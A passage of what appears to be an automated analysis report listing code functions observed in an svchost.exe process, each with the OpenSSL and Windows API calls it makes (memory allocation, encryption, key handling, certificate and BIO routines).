Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344A20 ERR_new,ERR_set_debug,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,ERR_new,ERR_set_debug,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3344A20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3396A30 CRYPTO_memcmp,ERR_new,ERR_set_debug,memchr,ERR_new,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3396A30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A69E0 CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_fetch,EVP_CIPHER_get_iv_length,RAND_bytes_ex,EVP_CIPHER_free,EVP_EncryptUpdate,EVP_EncryptFinal,ERR_new,EVP_CIPHER_free,ERR_new,CRYPTO_free,EVP_CIPHER_CTX_free,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get_iv_length,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_CIPHER_CTX_free,	53_2_00007FFDA33A69E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33349F0 CRYPTO_memdup,CRYPTO_free,	53_2_00007FFDA33349F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33668B0 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA33668B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334A8B0 EVP_PKEY_new,CRYPTO_malloc,CRYPTO_malloc,ERR_set_mark,EVP_PKEY_set_type,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_CTX_free,OBJ_txt2nid,OBJ_txt2nid,OBJ_txt2nid,ERR_pop_to_mark,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,	53_2_00007FFDA334A8B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AA8B0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,memcmp,OPENSSL_sk_num,OPENSSL_sk_value,ERR_new,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33AA8B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322860 CRYPTO_zalloc,InitializeCriticalSection,	53_2_00007FFDA3322860
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332E880 CRYPTO_THREAD_run_once,	53_2_00007FFDA332E880
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3392880 CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3392880
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AC890 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_set_rsa_padding,OSSL_PARAM_construct_uint32,OSSL_PARAM_construct_uint32,OSSL_PARAM_construct_end,EVP_PKEY_CTX_set_params,EVP_PKEY_decrypt,OPENSSL_cleanse,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_CTX_free,	53_2_00007FFDA33AC890
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3392930 CRYPTO_realloc,	53_2_00007FFDA3392930
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322940 CRYPTO_zalloc,_beginthreadex,CRYPTO_free,	53_2_00007FFDA3322940
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337A940 CRYPTO_zalloc,	53_2_00007FFDA337A940
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336A910 CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,OPENSSL_LH_free,CRYPTO_free,	53_2_00007FFDA336A910
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3382FA0 ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_set_mark,ERR_pop_to_mark,ERR_new,ERR_set_debug,ERR_clear_last_mark,EVP_CIPHER_CTX_get0_cipher,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA3382FA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338EFA0 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	53_2_00007FFDA338EFA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3326FC0 EVP_MD_get_size,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_clear_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	53_2_00007FFDA3326FC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A8FD0 CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA33A8FD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372F60 EVP_EncryptUpdate,OPENSSL_LH_retrieve,	53_2_00007FFDA3372F60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3396F60 memchr,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3396F60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3321030 GetEnvironmentVariableW,GetACP,MultiByteToWideChar,malloc,MultiByteToWideChar,GetEnvironmentVariableW,malloc,GetEnvironmentVariableW,WideCharToMultiByte,CRYPTO_malloc,WideCharToMultiByte,CRYPTO_free,free,free,getenv,	53_2_00007FFDA3321030
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3345040 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3345040
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3373040 RAND_priv_bytes_ex,CRYPTO_zalloc,EVP_CIPHER_fetch,EVP_CIPHER_CTX_new,EVP_CIPHER_free,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,OPENSSL_LH_doall,OPENSSL_LH_free,EVP_CIPHER_CTX_free,CRYPTO_free,EVP_CIPHER_free,	53_2_00007FFDA3373040
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B040 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA338B040
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3335050 CRYPTO_set_ex_data,	53_2_00007FFDA3335050
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338AFE0 CRYPTO_free,	53_2_00007FFDA338AFE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336CFF0 CRYPTO_realloc,	53_2_00007FFDA336CFF0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3341000 CRYPTO_malloc,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,CRYPTO_realloc,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA3341000
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332D010 EVP_PKEY_free,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA332D010
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337EED0 CRYPTO_malloc,CRYPTO_free,	53_2_00007FFDA337EED0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334CED0 CRYPTO_free,memset,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA334CED0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3324E80 CRYPTO_free,	53_2_00007FFDA3324E80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3340EF0 CRYPTO_malloc,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA3340EF0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372F00 OPENSSL_LH_free,OPENSSL_LH_free,EVP_CIPHER_CTX_free,CRYPTO_free,	53_2_00007FFDA3372F00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332EDB0 CRYPTO_THREAD_run_once,	53_2_00007FFDA332EDB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372DB0 OPENSSL_LH_retrieve,CRYPTO_free,OPENSSL_LH_delete,OPENSSL_LH_retrieve,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_delete,CRYPTO_free,	53_2_00007FFDA3372DB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333CDC0 CRYPTO_malloc,CRYPTO_clear_free,	53_2_00007FFDA333CDC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337EDD0 OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA337EDD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A0D80 CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A0D80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344CB0 CRYPTO_zalloc,CRYPTO_new_ex_data,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_clear_free,memcpy,	53_2_00007FFDA3344CB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3394CC0 EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key_ex,EVP_DigestSignInit_ex,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3394CC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332ECD0 COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_sort,	53_2_00007FFDA332ECD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3328C60 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	53_2_00007FFDA3328C60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322C60 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3322C60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33ACC60 BN_bin2bn,ERR_new,ERR_set_debug,BN_ucmp,BN_is_zero,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33ACC60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3354D30 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	53_2_00007FFDA3354D30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337ED00 OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA337ED00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334CD10 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA334CD10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33213A0 CRYPTO_free,	53_2_00007FFDA33213A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33993A0 ERR_new,ERR_set_debug,CRYPTO_clear_free,	53_2_00007FFDA33993A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A5360 ERR_new,i2d_PUBKEY,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA33A5360
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339B370 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,CRYPTO_malloc,RAND_bytes_ex,EVP_MD_CTX_new,OBJ_nid2sn,EVP_get_digestbyname,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free,	53_2_00007FFDA339B370
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3373380 CRYPTO_free,	53_2_00007FFDA3373380
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B420 CRYPTO_free,	53_2_00007FFDA338B420
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3391430 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_strdup,ERR_new,ERR_set_debug,	53_2_00007FFDA3391430
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334D440 CRYPTO_free,CRYPTO_zalloc,OBJ_txt2nid,CONF_parse_list,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,memcpy,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA334D440
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A92A0 EVP_MD_get_size,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33A92A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33432C0 CRYPTO_THREAD_write_lock,OPENSSL_LH_insert,OPENSSL_LH_retrieve,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	53_2_00007FFDA33432C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335B2D0 CRYPTO_free,	53_2_00007FFDA335B2D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336F290 CRYPTO_realloc,	53_2_00007FFDA336F290
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33492F0 CRYPTO_realloc,memcpy,	53_2_00007FFDA33492F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334D310 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA334D310
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33751D0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_up_ref,ERR_new,ERR_set_debug,ERR_set_error,BIO_free,ERR_new,ERR_set_debug,EVP_CIPHER_is_a,EVP_CIPHER_is_a,EVP_CIPHER_is_a,EVP_MD_up_ref,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,EVP_MD_free,ERR_new,ERR_set_debug,ERR_set_error,BIO_free,CRYPTO_free,	53_2_00007FFDA33751D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3375190 BIO_free,CRYPTO_free,	53_2_00007FFDA3375190
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332321D X509_VERIFY_PARAM_get0_peername,ASYNC_WAIT_CTX_get_status,BIO_clear_flags,BIO_set_init,CRYPTO_free,CRYPTO_zalloc,BIO_set_init,BIO_set_data,BIO_clear_flags,X509_VERIFY_PARAM_get0_peername,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,	53_2_00007FFDA332321D
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3363220 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3363220
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3325240 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3325240
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33551E0 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	53_2_00007FFDA33551E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3373200 OPENSSL_LH_retrieve,OPENSSL_LH_insert,OPENSSL_LH_delete,CRYPTO_free,	53_2_00007FFDA3373200
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3341210 BIO_s_file,BIO_new,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,strncmp,ERR_new,ERR_set_debug,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	53_2_00007FFDA3341210
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332B0B0 i2d_PUBKEY,ASN1_item_i2d,CRYPTO_free,	53_2_00007FFDA332B0B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33550D0 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	53_2_00007FFDA33550D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3335070 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3335070
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A1090 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A1090
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3339120 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	53_2_00007FFDA3339120
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3371127 CRYPTO_realloc,	53_2_00007FFDA3371127
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334D140 CRYPTO_free,CRYPTO_malloc,	53_2_00007FFDA334D140
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339B140 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,EVP_PKEY_free,EVP_PKEY_get_size,ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,	53_2_00007FFDA339B140
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33910E0 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33910E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337F0F0 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,BIO_clear_flags,BIO_set_flags,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,	53_2_00007FFDA337F0F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335D100 CRYPTO_free,	53_2_00007FFDA335D100
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3395760 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3395760
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3335780 a2i_IPADDRESS,ASN1_OCTET_STRING_free,X509_VERIFY_PARAM_get1_ip_asc,CRYPTO_free,X509_VERIFY_PARAM_add1_host,	53_2_00007FFDA3335780
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3333820 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,CRYPTO_realloc,	53_2_00007FFDA3333820
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343840 OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3343840
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3335840 i2d_PUBKEY,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,memcpy,d2i_PUBKEY,EVP_PKEY_free,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	53_2_00007FFDA3335840
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3329850 ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_decapsulate,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	53_2_00007FFDA3329850
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33916B0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA33916B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33236C0 X509_VERIFY_PARAM_get0_peername,BIO_get_shutdown,ASYNC_WAIT_CTX_get_status,BIO_clear_flags,BIO_set_init,CRYPTO_free,	53_2_00007FFDA33236C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33876D0 CRYPTO_free,	53_2_00007FFDA33876D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33736D0 CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33736D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33556D0 CRYPTO_zalloc,	53_2_00007FFDA33556D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3321740 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3321740
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339B6E0 EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,CRYPTO_malloc,RAND_bytes_ex,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_CTX_ctrl,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,	53_2_00007FFDA339B6E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3333700 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3333700
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33895A0 CRYPTO_free,	53_2_00007FFDA33895A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33475B0 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,memcpy,memcpy,memcmp,memcmp,memcmp,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_clear_free,	53_2_00007FFDA33475B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33235C8 CRYPTO_zalloc,BIO_set_init,BIO_set_data,BIO_clear_flags,	53_2_00007FFDA33235C8
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33215D0 CRYPTO_free,	53_2_00007FFDA33215D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33775D0 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33775D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3329590 CRYPTO_free,CRYPTO_memdup,	53_2_00007FFDA3329590
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B590 CRYPTO_free,	53_2_00007FFDA338B590
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3389620 CRYPTO_malloc,ERR_new,ERR_set_debug,	53_2_00007FFDA3389620
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343650 CRYPTO_THREAD_unlock,	53_2_00007FFDA3343650
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A1650 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A1650
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B5E0 CRYPTO_free,	53_2_00007FFDA338B5E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335B5F0 CRYPTO_free,	53_2_00007FFDA335B5F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338D5F0 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,OPENSSL_cleanse,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_memcmp,ERR_new,ERR_new,	53_2_00007FFDA338D5F0
